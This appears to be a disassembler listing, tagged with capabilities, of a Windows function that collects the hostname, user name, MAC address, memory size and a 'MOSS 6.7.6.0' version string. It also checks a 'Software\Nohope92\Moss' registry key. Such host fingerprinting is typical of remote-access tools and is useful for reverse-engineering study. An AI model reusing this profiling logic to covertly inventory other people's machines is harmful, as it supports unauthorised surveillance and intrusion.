Function at 0x140021e60
Capabilities:
Get hostname
Get mac address on windows
Get memory capacity
Get session user name
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
mov eax, 0x3100
call fcn.1401b79c0
sub rsp, rax
mov rax, qword [0x1402ac7a8]
xor rax, rsp
mov qword [rsp + 0x30f0], rax
mov esi, ecx
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x14f0]
call fcn.1401bcf00
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0xee0]
call fcn.1401bcf00
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x20f0]
call fcn.1401bcf00
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x18f0]
call fcn.1401bcf00
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x28f0]
call fcn.1401bcf00
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0xcc0]
call fcn.1401bcf00
mov dword [rsp + 0x58], 0x104
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0xdd0]
call fcn.1401bcf00
mov dword [rsp + 0x5c], 0x104
lea rcx, [rsp + 0x14f0]
call fcn.14001f280
call fcn.1400231b0
lea rcx, [rsp + 0x20f0]
call fcn.14001fd40
lea rcx, [rsp + 0x28f0]
call fcn.140020870
lea rcx, [rsp + 0x18f0]
call fcn.1400202d0
mov dword [rsp + 0x54], 0x2c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8d, 0x2c0
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400220f3
lea rdx, [rsp + 0x54]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x140021ff9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [rsp + 0x54]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8d, ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400220f3
lea rdx, [rsp + 0x54]
mov rcx, rdi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x1400220df
mov rbx, rdi
test rdi, rdi
je 0x1400220df
mov r14d, 0x8240
movzx eax, byte [rbx + 0x19d]
movzx ecx, byte [rbx + 0x19c]
movzx edx, byte [rbx + 0x19b]
movzx r8d, byte [rbx + 0x19a]
movzx r10d, byte [rbx + 0x199]
movzx r9d, byte [rbx + 0x198]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r10d
lea r8, str._02X_02X_02X_02X_02X_02X
mov edx, reloc.OLEAUT32.dll_SetErrorInfo
lea rcx, [rsp + 0xee0]
call fcn.14000ca40
lea rcx, [rsp + 0xee0]
call fcn.1400210f0
test eax, eax
jne 0x140022097
mov byte [rsp + 0xee0], al
jmp 0x1400220b2
cmp byte [rsp + 0xee0], 0
je 0x1400220b2
mov eax, dword [rbx + 0x1a4]
cmp eax, 0xf
ja 0x1400220b2
bt r14d, eax
jb 0x1400220bf
mov rbx, qword [rbx]
test rbx, rbx
je 0x1400220df
jmp 0x140022021
lea r9, [rbx + 0x1c0]
lea r8, [0x140264880]
mov edx, reloc.OLEAUT32.dll_SetErrorInfo
lea rcx, [rsp + 0xee0]
call fcn.14000ca40
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0xcc0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0xdd0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0x80], 0x40
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140022203
mov r8, qword [rsp + 0x88]
shr r8, 0x14
lea rdx, str.memory:__lu_MB_r_n
lea rcx, [rsp + 0xc0]
call fcn.140014d80
lea rcx, [rsp + 0xc0]
mov rbx, 0xffffffffffffffff
mov rax, rbx
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x1400221b0
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
jmp 0x14002220a
mov rbx, 0xffffffffffffffff
lea r8, str.MOSS_6_7_6_0
lea rdx, str.version:__s_r_n
lea rcx, [rsp + 0xc0]
call fcn.140014d80
lea rcx, [rsp + 0xc0]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140022230
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
lea r8, [rsp + 0x14f0]
lea rdx, str.Physical:__s_r_n
lea rcx, [rsp + 0xc0]
call fcn.140014d80
lea rcx, [rsp + 0xc0]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400222b0
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
lea rcx, [rsp + 0x14f0]
call fcn.1400078c0
mov r8d, eax
lea rdx, str.Sign_ID1:__lu__r_n
lea rcx, [rsp + 0xc0]
call fcn.140014d80
lea rcx, [rsp + 0xc0]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140022330
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
lea r9, [rsp + 0xcc0]
lea r8, [rsp + 0xdd0]
lea rdx, str.User:__s__s_r_n
lea rcx, [rsp + 0xc0]
call fcn.140014d80
lea rcx, [rsp + 0xc0]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x1400223b0
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
lea r8, [rsp + 0x18f0]
lea rdx, [0x140264880]
lea rcx, [rsp + 0xc0]
call fcn.140014d80
lea rcx, [rsp + 0xc0]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140022430
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
lea r8, [rsp + 0xee0]
lea rcx, [rsp + 0xc0]
cmp esi, 0xc07
jne 0x1400224a7
lea rdx, str.Net:__s__r_n
call fcn.140014d80
jmp 0x1400224ba
lea r9, [0x1403a3e20]
lea rdx, str.Net:__s_Public:__s_r_n
call fcn.140014d80
lea rcx, [rsp + 0xc0]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x1400224c5
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
lea r8, [rsp + 0x20f0]
lea rdx, str._s_r_n
lea rcx, [rsp + 0xc0]
call fcn.140014d80
lea rcx, [rsp + 0xc0]
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140022540
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
lea r8, [rsp + 0x28f0]
lea rdx, [0x140264880]
lea rcx, [rsp + 0xc0]
call fcn.140014d80
lea rax, [rsp + 0xc0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400225b5
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x20], rax
mov r9d, ebx
lea r8, [rsp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x4c0]
call fcn.1400247d0
xor edx, edx
mov r8d, 0x800
lea rcx, [rsp + 0x4c0]
call fcn.1401bcf00
nop
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x12e0]
call fcn.1401bcf00
xor dil, dil
mov byte [rsp + 0x50], dil
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareNohope92Moss
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400226f0
mov esi, 1
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x54], 0x208
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x12e0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, str.Version
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rdx, [rsp + 0x12e0]
lea r8, str.6_7_6
nop
movzx ecx, word [rdx + rbx*2]
inc rbx
movzx eax, word [r8 + rbx*2 - 2]
sub ecx, eax
jne 0x1400226d7
cmp rbx, 6
jne 0x1400226c0
movzx edi, dil
test ecx, ecx
cmove edi, esi
mov byte [rsp + 0x50], dil
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test dil, dil
jne 0x140022704
call fcn.140022fb0
call fcn.140029fe0
call fcn.1400230b0
jmp 0x14002276d
mov rcx, qword [rsp + 0x30f0]
xor rcx, rsp
call fcn.1401b6f40
lea r11, [rsp + 0x3100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret